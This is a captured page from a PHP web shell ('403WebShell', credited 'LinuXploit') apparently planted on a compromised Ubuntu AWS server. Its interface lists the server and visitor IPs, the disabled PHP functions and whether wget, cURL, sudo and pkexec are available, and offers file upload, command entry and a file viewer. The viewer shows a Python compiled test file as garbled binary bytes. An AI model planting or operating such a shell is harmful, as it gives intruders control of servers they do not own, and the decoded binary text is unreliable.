Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test/__pycache__/test_ioctl.cpython-310.pyc
o

�9j��@s2ddlZddlZddlmZddlmZddlZddlZed�Zed�Z	ee	d�ze
dd�ZWney<e�
d	��we�e�ee	jd
�ZWd�n1sRwYe�de�dZee��e�d�fvroe�
d��[[[zddlZWney�dZYnwGd
d�dej�Zedkr�e��dSdS)�N)�
get_attribute)�
import_module�fcntl�termios�	TIOCGPGRP�/dev/tty�rbzUnable to open /dev/tty�    �izBNeither the process group nor the session are attached to /dev/ttyc@s>eZdZdd�Zddd�Zdd�Zdd	�Zd
d�Zdd
�ZdS)�
IoctlTestscCsnt��t�d�f}tdd��}t�|tjd�}t�	d|�d}|�
||�Wd�dS1s0wYdS)Nrrrr	r
)�os�getpgrp�getsid�openr�ioctlrr�struct�unpack�assertIn)�self�ids�tty�r�rpgrp�r�&/usr/lib/python3.10/test/test_ioctl.py�
test_ioctls"�zIoctlTests.test_ioctlNc	Cs�t�d�}|j}t��t�d�f}d}|dur,|�|g||�|�t|�||�n|�|�t	dd��}t
�|tj
|d�}Wd�n1sJwY|d}|�|d�|�||�dS)Nr
ri���rrT)�array�itemsizerr
r�extend�assertEqual�len�appendrrrrrr)	r�nbytes�buf�intsizer�fillrrrrrr�_check_ioctl_mutate_len's

�z"IoctlTests._check_ioctl_mutate_lencCs|��dS�N�r&�rrrr�test_ioctl_mutate9szIoctlTests.test_ioctl_mutatecC�|�d�dS)Nir(r)rrr�test_ioctl_mutate_1024<sz!IoctlTests.test_ioctl_mutate_1024cCr+)Nir(r)rrr�test_ioctl_mutate_2048Asz!IoctlTests.test_ioctl_mutate_2048c	Cs�tst�d��t��\}}zAtjdkrtj}tjd@}ntj}t�dt�dtj��\}t�ddddd�}t	�
|||�}t	�
|||�}Wt�|�t�|�dSt�|�t�|�w)	Nzpty module requiredrl��r
�I�HHHH�P�)
�pty�unittest�SkipTest�openptyr�
TIOCSWINSZrr�packrrr�close)r�mfd�sfd�set_winsz_opcode_maybe_neg�set_winsz_opcode_pos�	our_winsz�	new_winszrrr�%test_ioctl_signed_unsigned_code_paramEs$

�

�z0IoctlTests.test_ioctl_signed_unsigned_code_paramr')	�__name__�
__module__�__qualname__rr&r*r,r-r?rrrrrs
	r�__main__)rr3�test.supportr�test.support.import_helperrrrrrrr�OSErrorr4rrrrrr
rr2�ImportError�TestCaserr@�mainrrrr�<module>s:

��
�>�

Youez - 2016 - github.com/yon3zu
LinuXploit